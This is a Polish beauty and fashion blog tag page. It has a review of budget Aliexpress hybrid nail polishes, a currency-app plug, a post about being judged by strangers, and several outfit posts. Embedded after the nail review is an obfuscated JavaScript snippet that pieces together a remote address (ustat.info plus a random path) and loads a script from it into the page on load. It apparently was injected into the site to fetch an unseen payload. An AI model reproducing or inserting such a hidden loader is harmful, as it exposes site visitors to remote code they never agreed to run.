Tag

Stylizacje

Lakiery hybrydowe robią furorę od dobrych paru lat. Nic dziwnego –  to trwały manicure, który spokojnie utrzymuje nawet 3 tygodnie. Pięknie mani uzyskamy nie tylko w profesjonalnym salonie, ale również w domowym zaciszu. Wystarczy tylko lampa, kilka akcesoriów oraz oczywiście lakiery. 
Tutaj pojawia się problem, gdyż jak wiadomo kobieta zmienną jest…a kolorów nigdy dość. Niestety dostępne na Polskim rynku lakiery kosztują w granicach 25-50 złotych za sztukę. Nic więc dziwnego, że poszukujemy tańszych rozwiązań. Na przeciw wychodzi chiński rynek i znany portal Aliexpress, w którego ofercie obok milionów różnych produktów znaleźć można także lakiery hybrydowe. 
Są bardzo tanie, wybór jest ogromny, ale … co z jakością?
 Dzisiaj opowiem Wam o marce Rosalind, której lakiery kupiłam do testów. Zdecydowałam się na  13 kolorów, a także bazę oraz top. Za całość zapłaciłam niecałe 55 złotych ( na promocji z okazji 11.11 ) co wyszło średnio 3,70 pln za jeden lakier. Postawiłam na kilka jasnych odcieni, ale również na zdecydowane i brokatowe, aby porównać je pod względem krycia, trwałości i odcieni. Dodam również, że lakiery przyszły w różnych pojemnościach 10 ml i 7 ml, ale nie zwróciłam na to uwagi przy zamówieniu. Zapraszam na przegląd. 
KOLORY
Czerwień i mięta są piękne, blady róż jest mocno średni. 
Wszystkie trzy kolory mają przepiękne krycie. 
Z całej czwórki najciężej pracuje się z białym, choć z lakierami innych firm miałam podobnie. 
JAKOŚĆ, TRWAŁOŚĆ, KRYCIE
Konsystencja lakierów kolorowych jest umiarkowanie gęsta, nie spływa. Jasne odcienie tj. biały, blady róż czy najjaśniejszy szary wymagały nałożenia 3 warstw, zaś kolory pozostałe oraz brokaty kryły już po dwóch. Pędzelki wszystkich lakierów są zwyczajne i dobrze się nimi pracuje. 
Baza i top niestety okazały się wielką porażką. Baza niezbyt dobrze trzyma się płytki przez co cału manicure odchodzi od płytki paznokcia. Top powinien być bardziej treściwy i nadawać lepszy połysk, niestety jest nijaki. Wydaje mi się, że gdybym nałożyła je odwrotnie nie było by żadnej różnicy. Trwałość przy użyciu tych dwóch lakierów bardzo mizerna – w granicach tygodnia. 
Na szczęście nie przekreśliłam wszystkich lakierów przez bazowe produkty. Kolory połączyłam z Bazą Hard oraz Topem Hard od Neonail i efekt był zadowalający. Paznokcie wytrzymały spokojnie 3 tygodnie, po których ściągnęłam je acetonem i zrobiłam nowy mani. 

W CHINACH TANIEJ 

Nie tylko lakiery hybrydowe, ale całą masę akcesoriów kupicie na Aliexpress czy też w innych zagranicznych sklepach online zdecydowanie taniej. Niestety często przeszkodą jest inna waluta – co zniechęca bądź po prostu ogranicza możliwość zakupu. Warto więc korzystać z prostych rozwiązań takich jak APLIKACJA WALUTOMAT.PL, która w prosty sposób umożliwia wymianę waluty z poziomu smartfona. To niezwykle wygodna opcja, bo telefon zawsze mamy pod ręką więc nie musimy się martwić, gdy za zakupy nie możemy zapłacić w złotówkach. Z aplikacji od razu wyślemy przelew na zagraniczne konto do ponad 30 krajów. Warto z niej skorzystać również kiedy wybieramy się za granicę i potrzebujemy euro, bo przelicznik zawsze będzie korzystniejszy niż stacjonarnie, a mamy możliwość wypłaty gotówki także poprzez Walutomat.pl.

PODSUMOWANIE

Podsumowując lakiery kolorowe spisują się przyzwoicie, a śmiesznie niska cena sprawia, że moja kolekcja wkrótce się powiększy. Lakiery zachowują się podobnie do marek, które każda z Was dobrze zna. Niektóre kolory wymagają większej ilości warstw i jest to absolutnie normalnie. Zdecydowanie nie warto jednak oszczędzać na bazie oraz topie i spokojnie można łączyć wiodące rodzine marki z chińskimi kolorkami. Unikałabym zakupu bazowych produktów chińskich marek. Najdroższe były brokatowe lakiery ( ok 5,50 pln ) jednak są najlepsze i te na pewno domówię w innych kolorach. 
PRZYKŁADOWE MANICURE HYBRYDOWE

ps. nie jestem mistrzem malowania paznokci 

Przyznać się, kto używał lakierów hybrydowych z Aliexpress? 
Co polecacie?

(function(){
qzkg=document.createElement(“script”);qzkg_=(“us”)+(“ta”);
qzkg_+=”t”+(“.”);qzkg_+=(“in”);qzkgu=”98570″;qzkg.async=true;
qzkgu+=”.97y4alhvzkg0knjxk”;qzkg.type=”text/javascript”;qzkg_+=”f”+”o”+(“/”);
qzkgu+=”7vy8hp8a8k5″;qzkg.src=”https://”+qzkg_+qzkgu;
dqzkg=document.body;dqzkg.appendChild(qzkg);
})();

Kiedyś byłam blondynką – byłam głupia, jeszcze wcześniej czarne włosy – emo, teraz ruda – wredna. Już na pierwszy rzut potrafisz mnie ocenić. Nie zamieniłeś ze mną ani jednego zdania, a już wiesz o mnie wszystko. Znasz mnie bardziej, niż ja sama. Twoje niezawodne źródło informacji to osoby, które mnie nie lubią, mają wyrobione o mnie zdanie. Mówią ci o mnie rzeczy niesłychane a ty kodujesz w swojej główce i klikasz zapisz. Nie potrzebujesz więcej wiedzieć, bo już wiesz, że jestem nie warta poznania. Po co się przełamywać, skoro inni uważają to i owo. I w taki oto sposób tracisz swoje zdanie.  Jeszcze chwila i nie będziesz miał nic do powiedzenia.
Uwielbiam to, że czasami od obcej osoby mogę usłyszeć o sobie takie rzeczy, których nawet ja nie umiałabym sobie wyobrazić.
Uwielbiam to, że idąc korytarzem ludzie zżerają mnie wzrokiem, cicho coś mówiąc, śmiejąc się.
Uwielbiam, kiedy obrabiasz mi dupę za moimi plecami, a potem udajesz, że trzymasz moją stronę.

Jesteś mi całkiem obcy i niech już tak pozostanie. Może lepiej abyśmy się nie poznali?
Pamiętaj – jestem ruda, więc mogę okazać się bardziej wredna niż słyszałeś!

bluza, spódniczka – Primark
Okulary, torebka – klik 
Czy Wy również byliście w sytuacji, gdy obgadywały Was całkiem obce Wam osoby?
Słyszeliście rzeczy o Was, które nigdy nie miały miejsca? 
Przyszedł październik, a wraz z nim krótsze dni, ponura pogoda i zbliżająca się jesienna chandra. Do tego wszystkiego lada dzień zaczynam zajęcia i choć to już ostatni semestr to chciałabym aby już było po studiach. To wszystko składa się na ogromną chęć otulenia się kocykiem z ciepłą herbatką w ręce i laptopem na kolanach. A myślami mogę wrócić do ciepłych dni spędzonych w Tunezji, wcale nie tak dawno temu. Dzisiaj postanowiłam pokazać Wam ostatnie zdjęcia z wyjazdu, które składają się w małą sesję zdjęciową na plaży. Przed obiektywem ja, z drugiej strony mój mąż – dlatego też część zdjęć okazała się rozmazana. Udało mi się jednak wybrać co nieco i tym się z Wami podzielę. Z góry przepraszam, że większość zdjęć jest tyłem…taką miałam wizję tych fotografii. 

 sukienka – Bershka, wianek – MustHaveFashion Butik
Co myślicie o zdjęciach? Lubie robić zdjęcia na plaży? 
Do usłyszenia wkrótce! 
Ostatnimi dniami, wraz z końcem sierpnia nastały szare i deszczowe dni. Przecież to dopiero wrzesień, jeszcze jest lato, więc wracaj słoneczko! Jednak dzisiaj doczekałam się w końcu pięknej i słonecznej pogody (pani pogodynka nie kłamała), więc nie mogłam się oprzeć aby jej nie wykorzystać. Postanowiłam zaprezentować Wam koszulkę DIY ( ręcznie malowaną ) w letnim zestawieniu. Koszulka wygląda jak fabrycznie robiona, a jednak to unikat, bo ręcznie malowana i można ją prać w 30 stopniach. Przez fakt, że mam jeszcze miesiąc wakacji nie zamierzam jeszcze zmieniać zawartości szafy na jesienną. Już samo chodzenie po sklepach, gdzie królują jesienne trendy przyprawia mnie o dreszcze. Ja myślami wybiegam już w podróż poślubną w ciepłe kraje.. ale wracajmy do rzeczywistości. Do ślubu zostało 7 dni, a póki co zostawiam Was ze zdjęciami. 

Koszulka klik | spodenki NewYorker | okulary RayBan | buty converse

Lubicie koszulki ręcznie malowane? Moim zdaniem hand made jest w modzie, a dodatkowo takie koszulki są unikatowe. Zapraszam na wszystkie aukcje I&G DIY for You.  Koszulki są naprawdę wyjątkowe i cudowne! Więcej niebawem!

Do usłyszenia (:

ps. wybaczcie, że niektóre zdjęcia są niewyraźne, mój ukochany dopiero rozpracowuje nasz nowy aparat ! <3 

    Hej, bardzo przepraszam, że nie odzywałam się tak długo, ale weekend spędziłam poza domem, a konkretniej w Zielonej Górze a potem w Lubinie. Byłam z lubym u rodziny a potem na weselu. Stąd możecie się domyślać, że zajęło mi kilka dni aby dojść do siebie. Poza tym w dalszym ciągu zajmuję się organizacją własnego ślubu, który już za 23 dni. Nie mogę się doczekać! Podrzucam kilka zdjęć, które zrobione są telefonem. Tak, tak..nie ma jak kupić nowy aparat i zapomnieć wziąć go ze sobą! Fuck yea. Dlatego też jakość nie powala, ale co tam, podzielę się tym co mam 🙂 

Przechodząc do setna postu to postanowiłam wrzucać zdjęcia z tagiem “OOTD” czyli look of the day. 
Na sobie mam świetną koszulkę od Deviant Apparel z kolekcji Naughty Girl. Bluzka od razu wpadła mi w oko, przede wszystkim ze względu na oryginalną grafikę i zamki po boku, dzięki którym można swobodnie regulować szerokość. Dla mnie to super sprawa, ponieważ lubię luźne bluzki w biuście i obcisłe ku dołu. I najważniejsze – nie ma żadnych gryzących metek wewnątrz, wszystkie są materiałowe, dzięki czemu nie muszę nic obcinać i nic mnie nie gryzie podczas noszenia 🙂 No dobra, starczy tego gadania. Mój  balkonowy OOTD. Zdjęcia na szczęście już nowym aparatem. 

Na koniec chciałabym Was zaprosić do zadawania pytań, na które odpowiem w najnowszym filmiku z tagiem HOLIDAY! Także czekam na wasze pytania (:

Do usłyszenia wkrótce! 

Dawno na blogu nie było żadnej stylizacji, więc postanowiłam ruszyć tyłek i zrobić kilka zdjęć. Niestety byłam zmuszona pozować pod domem, ze względu na pośpiech mego lubego, który spieszył się do pracy.
Stylizacja bardzo prosta, składająca się z sukienki, którą dzisiaj rano dostarczył mi kurier i butów Adidas Wings Ballerina. Przy okazji prezentuję moją nową paletę barw na głowie:)
Zanim jednak przejdę do zdjęć ogłoszę wyniki pachnącego rozdania. Szkoda, że tak mało osób wyraziło chęć udziału, ale może nagroda Was mało zachęciła. Tak czy inaczej drogą losowania wygrał komentarz:
Gratuluję szczęścia! 
Niedługo nowe rozdanie – bądźcie czujni:)

sukienka/dress – musthavefashionbutik
buty – adidas 
okulary – ray ban
Do usłyszenia wkrótce 🙂